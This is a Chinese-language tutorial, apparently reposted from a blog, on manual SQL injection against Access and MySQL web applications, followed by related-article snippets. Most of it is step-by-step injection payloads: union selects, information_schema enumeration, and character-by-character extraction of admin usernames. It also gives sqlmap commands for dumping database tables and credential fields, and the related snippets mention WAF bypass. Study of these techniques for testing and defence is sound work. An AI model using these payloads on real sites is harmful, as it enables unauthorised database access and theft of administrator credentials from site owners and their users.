SQL注入(手工篇)

开发人员在开发Web系统时对输入的数据没有进行有效的验证及过滤,就存在引发SQL注入漏洞的可能,并导致查看、插入、删除数据库的数据,甚至可以执行主机系统命令。

1.可能出现asp?id=x的网站

  只能是基于asp、PHP、jsp、aspx的动态网站,并且存在数据库交互,例:登陆、留言板、搜索、新闻。但是静态页面不可以,如html、htm。

2.漏洞测试

  (1)单引号测试:在页面中执行命令时使用成对单引号和单个单引号进行测试,查看是否有SQL注入;

  (2)利用条件语句测试:利用SQL连接选项‘and’连接URL,把1=1和1=2作为条件同样连接进去,如果条件不成立数据库就会发生变化,代表存在注入,同时也可以判断数据库的类型。

3.Acess数据库注入(手动)

  (1)使用‘and’语句来判断是否存在注入;

  (2)判断数据库类型;

    and (select count(*) from msysobjects)>0;返回权限不足是access表,反之则MSSQL。

  (3)查看数据库名;

    and db_name()>0

    (4)查看版本信息;

    and 0<>(select @@version)

  (5)查看数据库中是否存在admin这个管理表;

    and exists(select * from [admin])

    and (select count(*) from admin)>0

  (6)查看admin这个表中是否有username这个管理列;

    and exists(select top 1 [username] from [admin])

    and (select username from admin)>0

  (7)猜测admin这个管理列中用户名的长度;

    and (select top 1 len(username) from admin)>0

    后面的长度随意猜测,选择最大返回正常值加1作为长度。

    (8)取出username的ASCII码值;

    and (select top 1 asc(mid(username,N,1)) from admin)>0

    mid()函数用来截取,N为第几位,‘1’代表几位数;得到的结果可用工具小葵进行转换,得到的便是真实值。

4.MySQL数据库注入(手动)

  (1)判断注入点,后面加#,返回正常则为MySQL数据库;

  (2)判断字段数;

    orderb by 1--

    数字可以不断的加,当返回值改变时,则为全部字段数+1;得到字段数来判断能回显数据的位置

  (3)联合查询,判断可回显数据的位置;

    union select 1,2,3...(上一个得到的字段数)--

    要在URL中加入一个错误的判断值(and 1=2 或在数值前加‘-’号)页面才会显示能够显示数据的位置。

  (4)查看用户,版本,库名

    user(),version(),database()

  (5)查看管理表(常见的管理表命名方式:system、login、admin、users)

    union select 1,table_name(此处为可显示数据的位置),3,...(字段数) from Information_schema.tables where table_schema=(此处为库名的16进制数) limit 0,1--

  (6)查看列

    union select 1,column_name,3,..., from Information_schema.column where table_name=(表名16进制) limit 0,1--

5.sqlmap

  (1)需要在python环境下运行;

  (2)测试是否为注入点;

    sqlmap.py -u "URL"

  (3)获取数据列表;

    sqlmap.py -u "URL" --dbs

  (4)当前数据库;

    sqlmap.py -u "URL" --current-db

  (5)获取数据库所有表信息;

    sqlmap.py -u "URL" --tables -D "目标数据库"

  (6)获取列;

    sqlmap.py -u "URL" --column -T "管理表" -D “目标数据库”

  (7)获取字段;

    sqlmap.py -u "URL" --dump -C "字段" -T “管理表” -D “目标数据库”

原文地址:https://www.cnblogs.com/yxq-123/p/11529956.html

时间: 2024-10-08 09:34:04

SQL注入(手工篇)的相关文章

如何防范SQL注入——测试篇(转)

在上一篇文章<如何防范SQL注入-编程篇>中,我们讲了对于程序员而言,如何编码以防范代码存在SQL注入漏洞,那么,对于测试人员来说,如何测试SQL注入漏洞是否存在呢? 首先,我们将SQL注入攻击能分为以下三种类型: Inband:数据经由SQL代码注入的通道取出,这是最直接的一种攻击,通过SQL注入获取的信息直接反映到应用程序的Web页面上: Out-of-band:数据通过不同于SQL代码注入的方式获得(譬如通过邮件等) 推理:这种攻击是说并没有真正的数据传输,但攻击者可以通过发送特定的请求

基础篇——SQL注入(手工注入)

SQL注入 当我们学习一个知识时我们要考虑几个问题:是什么?怎么做?然后进行有条理的学习 是什么? 首先我们要明白SQL注入是什么: sql——结构化查询语言 SQL注入就是在网站url中插入sql语句,执行sql命令,获取数据库内容,达到欺骗服务器的目的. SQL注入的原理:普通用户提交sql查询语句,网站没有对用户输入进行过滤导致执行用户命令 危害及防护 危害:SQL注入可以使入侵者获取后台账号密码.拖库.进入后台破坏.拿shell 防护:设置网站黑名单.限制敏感词汇.对用户输入进行转义.将

渗透学习笔记--基础篇--sql注入(数字型)

环境:dvwa 1.7数据库:mysql dvwa的安全等级:medium 一.分析和查找注入点(1)知识点回顾如果上一篇有好好读过的同学应该知道,我们上一篇遇到的字符型注入.也即是通过Get或者Post方式传进去的数据被单引号或者双引号包裹住.如果我们想要注入自己的payload(有效载荷)的话,则我们必须先闭合前面的单引号或者双引号,否则我们的数据始终会被当做成字符串来处理. 这种类型的注入点称为字符型注入点. (2)这次我们的把防御等级提升了一个层次,来逐步加强我们手工注入的能力以及开更多

讲sql注入原理的 这篇不错(有空可以看看)

我们围绕以下几个方面来看这个问题: 1.什么是sql注入? 2.为什么要sql注入? 3.怎样sql注入? 1.什么是sql注入? 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击.如果代码使用存储过程,而这些存储过程作

基础篇——SQL注入(工具注入)

注入工具 上一篇介绍了SQL注入漏洞以及一些手工注入方法,本篇介绍一下注入工具 1.sqlmap sqlmap属于比较经典的一个注入工具,功能强大,还自带一些绕过参数 使用方法: sqlmap.py -u “url”  对url连接进行注入检测 然后使用注入参数进行注入 -u  //添加url进行检测 -dbs  //进行数据库检测 -tables  //猜解数据库表 -colums  //猜解字段 --level 1~5  //设置注入等级最高5级 --risk  1~3  //设置危险等级

[转载]我的WafBypass之道(SQL注入篇)

现在位置: 首页 > 文章 > Web安全 > 正文 我的WafBypass之道(SQL注入篇) 2016 /11/23 16:16 6,444 评论 3 条 [本文转自安全脉搏战略合作伙伴先知技术社区 原帖地址  安全脉搏编辑huan9740整理发布] 0x00 前言 去年到现在就一直有人希望我出一篇关于waf绕过的文章,我觉得这种老生常 谈的话题也没什么可写的. 很多人一遇到waf就发懵,不知如何是好,能搜到的各 种姿势也是然并卵. 但是积累姿势的过程也是迭代的,那么就有了此文,用来

【渗透攻防Web篇】SQL注入攻击高级

前言 前面我们学习了如何寻找,确认,利用SQL注入漏洞的技术,本篇文章我将介绍一些更高级的技术,避开过滤,绕开防御.有攻必有防,当然还要来探讨一下SQL注入防御技巧. 目录 第五节 避开过滤方法总结 5.1.大小写变种 5.2.URL编码 5.3.SQL注释 5.4.空字节 5.5.二阶SQL注入 第六节 探讨SQL注入防御技巧 6.1.输入验证 6.2.编码输出 正文 第五节 避开过滤方法总结 Web应用为了防御包括SQL注入在内的攻击,常常使用输入过滤器,这些过滤器可以在应用的代码中,也可以

『SQL注入』 User-Agent 手工注入的探测与利用分析

原理很简单:后台在接收UA时没有对UA做过滤,也没有PDO进行数据交互(实际PDO是非常有必要的),导致UA中有恶意代码,最终在数据库中执行. Bug 代码: 本地顺手打了一个环境,Bug 代码部分: // 保存到访者的IP信息 $db=DBConnect(); $tbLog=$db->tbPrefix.'log'; $executeArr=array('ip'=>($_SERVER["HTTP_VIA"])?$_SERVER["HTTP_X_FORWARDED_

我的WafBypass之道(SQL注入篇)

原帖地址:https://xianzhi.aliyun.com/forum/read/349.html 0x00 前言 去年到现在就一直有人希望我出一篇关于waf绕过的文章,我觉得这种老生常 谈的话题也没什么可写的. 很多人一遇到waf就发懵,不知如何是好,能搜到的各 种姿势也是然并卵. 但是积累姿势的过程也是迭代的,那么就有了此文,用来总 结一些学习和培养突破waf的思想. 可能总结的并不全,但目的并不是讲那些网上 搜来一大把的东西,So-并不会告诉大家现有的姿势, 而是突破Waf Bypas